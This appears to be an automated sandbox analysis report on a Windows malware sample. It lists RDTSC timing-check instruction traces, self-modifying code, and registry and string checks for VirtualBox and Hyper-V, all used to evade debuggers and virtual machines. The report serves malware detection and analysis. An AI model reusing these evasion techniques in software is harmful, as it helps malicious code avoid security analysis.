Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1750 second address: 76C1785 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F8C8B89E3AAh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8C1CD20408h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1785 second address: 76C1794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C1794 second address: 76C1857 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+38h], FFFFFFFFh 0x0000000d pushad 0x0000000e mov cl, 8Bh 0x00000010 popad 0x00000011 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000015 pushad 0x00000016 mov ch, 18h 0x00000018 pushfd 0x00000019 jmp 00007F8C1CD203FDh 0x0000001e add eax, 3C5AE996h 0x00000024 jmp 00007F8C1CD20401h 0x00000029 popfd 0x0000002a popad 0x0000002b or dword ptr [edx+40h], FFFFFFFFh 0x0000002f pushad 0x00000030 push eax 0x00000031 pushfd 0x00000032 jmp 00007F8C1CD20403h 0x00000037 sbb eax, 253462CEh 0x0000003d jmp 00007F8C1CD20409h 0x00000042 popfd 0x00000043 pop eax 0x00000044 mov esi, edi 0x00000046 popad 0x00000047 pop esi 0x00000048 jmp 00007F8C1CD20403h 0x0000004d pop ebx 0x0000004e jmp 00007F8C1CD20406h 0x00000053 leave 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 movzx esi, di 0x0000005a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7710E11 second address: 7710E4F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F8C1CD6323Eh 0x0000000c sub ecx, 07CA3FB8h 0x00000012 jmp 00007F8C1CD6323Bh 0x00000017 popfd 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov dx, cx 0x00000020 jmp 00007F8C1CD6323Eh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7710E4F second address: 7710EFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F8C1CD203FBh 0x00000010 pushfd 0x00000011 jmp 00007F8C1CD20408h 0x00000016 add cl, FFFFFFA8h 0x00000019 jmp 00007F8C1CD203FBh 0x0000001e popfd 0x0000001f pop ecx 0x00000020 popad 0x00000021 mov ebp, esp 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F8C1CD20405h 0x0000002a or ecx, 1F12E7C6h 0x00000030 jmp 00007F8C1CD20401h 0x00000035 popfd 0x00000036 mov ebx, esi 0x00000038 popad 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F8C1CD203FFh 0x00000043 sub ax, CEFEh 0x00000048 jmp 00007F8C1CD20409h 0x0000004d popfd 0x0000004e mov ch, 3Fh 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B06FF second address: 76B0705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B0705 second address: 76B0709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B0709 second address: 76B070D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B070D second address: 76B075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F8C1CD203FCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov esi, 34A7E9DDh 0x00000017 pushfd 0x00000018 jmp 00007F8C1CD203FAh 0x0000001d and al, 00000038h 0x00000020 jmp 00007F8C1CD203FBh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8C1CD20405h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76506DC second address: 765078D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C1CD6323Fh 0x00000009 and si, C8FEh 0x0000000e jmp 00007F8C1CD63249h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F8C1CD63240h 0x0000001a adc cx, 17F8h 0x0000001f jmp 00007F8C1CD6323Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 push eax 0x00000029 jmp 00007F8C1CD63249h 0x0000002e xchg eax, ebp 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F8C1CD6323Ch 0x00000036 jmp 00007F8C1CD63245h 0x0000003b popfd 0x0000003c mov ebx, eax 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jmp 00007F8C1CD63242h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 765078D second address: 76507B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F8C1CD20402h 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7650B45 second address: 7650BA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63246h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c mov ax, 2AF9h 0x00000010 jmp 00007F8C1CD63246h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 push edx 0x00000019 mov bx, cx 0x0000001c pop ecx 0x0000001d mov dx, 4A4Ch 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 jmp 00007F8C1CD6323Bh 0x00000028 mov ebp, esp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov si, bx 0x00000030 mov edi, 708A0FB2h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7650BA3 second address: 7650BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C1CD20406h 0x00000008 pop esi 0x00000009 mov ax, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov si, di 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0A04 second address: 76A0A0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0A0A second address: 76A0A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0A21 second address: 76A0A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8C1CD6323Ah 0x0000000a add ch, FFFFFFC8h 0x0000000d jmp 00007F8C1CD6323Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pushfd 0x00000015 jmp 00007F8C1CD63248h 0x0000001a adc ch, 00000028h 0x0000001d jmp 00007F8C1CD6323Bh 0x00000022 popfd 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push esi 0x00000029 pop edi 0x0000002a call 00007F8C1CD6323Eh 0x0000002f pop esi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 768004F second address: 76800AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF0h 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 popad 0x00000011 sub esp, 44h 0x00000014 pushad 0x00000015 mov edi, eax 0x00000017 pushfd 0x00000018 jmp 00007F8C1CD203FEh 0x0000001d sub ax, 2A48h 0x00000022 jmp 00007F8C1CD203FBh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebx 0x0000002a pushad 0x0000002b push eax 0x0000002c push edx 0x0000002d call 00007F8C1CD20402h 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76800AD second address: 7680107 instructions: 0x00000000 rdtsc 0x00000002 mov dx, B766h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C1CD63247h 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 mov si, bx 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 jmp 00007F8C1CD63243h 0x0000001d mov ah, F8h 0x0000001f popad 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F8C1CD63247h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7680107 second address: 768010D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 768010D second address: 768014B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], esi 0x0000000e jmp 00007F8C1CD63246h 0x00000013 xchg eax, edi 0x00000014 pushad 0x00000015 jmp 00007F8C1CD6323Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 768014B second address: 7680182 instructions: 0x00000000 rdtsc 0x00000002 mov ax, E9B3h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8C1CD20402h 0x00000011 sub cx, A3B8h 0x00000016 jmp 00007F8C1CD203FBh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7680182 second address: 7680188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7680188 second address: 768020D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edx 0x00000005 mov eax, 1D65CDFBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edi, dword ptr [ebp+08h] 0x00000010 jmp 00007F8C1CD203FEh 0x00000015 mov dword ptr [esp+24h], 00000000h 0x0000001d jmp 00007F8C1CD20400h 0x00000022 lock bts dword ptr [edi], 00000000h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F8C1CD203FDh 0x00000030 sub al, 00000066h 0x00000033 jmp 00007F8C1CD20401h 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F8C1CD20400h 0x0000003f adc eax, 09E8B208h 0x00000045 jmp 00007F8C1CD203FBh 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 768020D second address: 7680273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C1CD6323Fh 0x00000009 add esi, 43A1BA4Eh 0x0000000f jmp 00007F8C1CD63249h 0x00000014 popfd 0x00000015 jmp 00007F8C1CD63240h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jc 00007F8C8CA35416h 0x00000023 jmp 00007F8C1CD63240h 0x00000028 pop edi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c mov cx, di 0x0000002f mov ah, bl 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B0795 second address: 76B07D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c call 00007F8C1CD20401h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 mov cx, 4D5Dh 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F8C1CD20403h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push edx 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B07D5 second address: 76B07DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B07DA second address: 76B07E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76B07E0 second address: 76B0803 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8C1CD63247h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A092C second address: 76A0930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0930 second address: 76A0943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0943 second address: 76A0949 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0949 second address: 76A094D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A094D second address: 76A0969 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop eax 0x00000013 push edi 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76A0969 second address: 76A09B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63248h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8C1CD63240h 0x00000010 pop ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F8C1CD6323Ch 0x0000001a adc ch, FFFFFFA8h 0x0000001d jmp 00007F8C1CD6323Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7720944 second address: 77209E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8C1CD203FEh 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F8C1CD20401h 0x00000016 jmp 00007F8C1CD20400h 0x0000001b pop ecx 0x0000001c movsx ebx, ax 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 push eax 0x00000023 mov dl, 6Bh 0x00000025 pop ecx 0x00000026 movsx ebx, ax 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F8C1CD20408h 0x00000031 mov dl, byte ptr [ebp+14h] 0x00000034 jmp 00007F8C1CD20400h 0x00000039 mov eax, dword ptr [ebp+10h] 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F8C1CD20407h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 77209E3 second address: 77209E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 77209E8 second address: 7720A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F8C1CD20405h 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and dl, 00000007h 0x00000010 pushad 0x00000011 jmp 00007F8C1CD203FDh 0x00000016 mov bl, cl 0x00000018 popad 0x00000019 test eax, eax 0x0000001b pushad 0x0000001c mov dx, C71Ch 0x00000020 call 00007F8C1CD20405h 0x00000025 mov dx, ax 0x00000028 pop eax 0x00000029 popad 0x0000002a je 00007F8C8C975BAEh 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F8C1CD20405h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7720A59 second address: 7720A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63241h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7720A6E second address: 7720AEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C1CD20407h 0x00000008 pop ecx 0x00000009 mov ebx, 130D8C3Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov ecx, 00000000h 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8C1CD203FEh 0x0000001d adc si, F358h 0x00000022 jmp 00007F8C1CD203FBh 0x00000027 popfd 0x00000028 popad 0x00000029 inc ecx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F8C1CD20400h 0x00000031 add si, FDB8h 0x00000036 jmp 00007F8C1CD203FBh 0x0000003b popfd 0x0000003c popad 0x0000003d shr eax, 1 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 push ecx 0x00000043 pop edx 0x00000044 mov eax, 03F6C539h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7720AEA second address: 7720B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD63242h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7720B00 second address: 7720944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8C8C975AB6h 0x00000010 jne 00007F8C1CD203EDh 0x00000012 inc ecx 0x00000013 shr eax, 1 0x00000015 jne 00007F8C1CD203EDh 0x00000017 imul ecx, ecx, 03h 0x0000001a movzx eax, dl 0x0000001d cdq 0x0000001e sub ecx, 03h 0x00000021 call 00007F8C1CD308EDh 0x00000026 cmp cl, 00000040h 0x00000029 jnc 00007F8C1CD20407h 0x0000002b cmp cl, 00000020h 0x0000002e jnc 00007F8C1CD203F8h 0x00000030 shld edx, eax, cl 0x00000033 shl eax, cl 0x00000035 ret 0x00000036 or edx, dword ptr [ebp+0Ch] 0x00000039 or eax, dword ptr [ebp+08h] 0x0000003c or edx, 80000000h 0x00000042 pop ebp 0x00000043 retn 0010h 0x00000046 push ebp 0x00000047 push 00000001h 0x00000049 push edx 0x0000004a push eax 0x0000004b call edi 0x0000004d mov edi, edi 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 call 00007F8C1CD203FDh 0x00000057 pop esi 0x00000058 pushfd 0x00000059 jmp 00007F8C1CD20401h 0x0000005e sub ax, 1926h 0x00000063 jmp 00007F8C1CD20401h 0x00000068 popfd 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7700DD9 second address: 7700DDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7700DDD second address: 7700DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7700DE3 second address: 7700E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov si, 300Dh 0x00000011 mov esi, 2F96C009h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx esi, bx 0x0000001d pushad 0x0000001e push edi 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8C1CD63241h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7710578 second address: 7710594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7710594 second address: 7710598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 7710598 second address: 77105AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 77105AB second address: 77105C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C1CD6323Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 77105C2 second address: 77105DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f mov edx, 064B0F32h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 77105DD second address: 77105E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 1071B19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 1071C1A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 1214673 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 106F1AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 1222920 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 129AA5A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeSpecial instruction interceptor: First address: 1212E51 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDescJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersionJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersionJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_00B79980 rdtsc 1_2_00B79980
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_3_01CC4C39 str word ptr [eax+esi*2+00006469h]1_3_01CC4C39
Source: C:\Users\user\Desktop\mBr65h6L4w.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_0099255D
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_009929FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,1_2_009929FF
Source: C:\Users\user\Desktop\mBr65h6L4w.exeCode function: 1_2_0099255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,1_2_0099255D
Source: mBr65h6L4w.exe, mBr65h6L4w.exe, 00000001.00000002.2393145911.00000000011F0000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: mBr65h6L4w.exe, 00000001.00000002.2391817963.0000000000F01000.00000040.00000001.01000000.00000003.sdmpBinary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: mBr65h6L4w.exeBinary or memory string: Hyper-V RAW
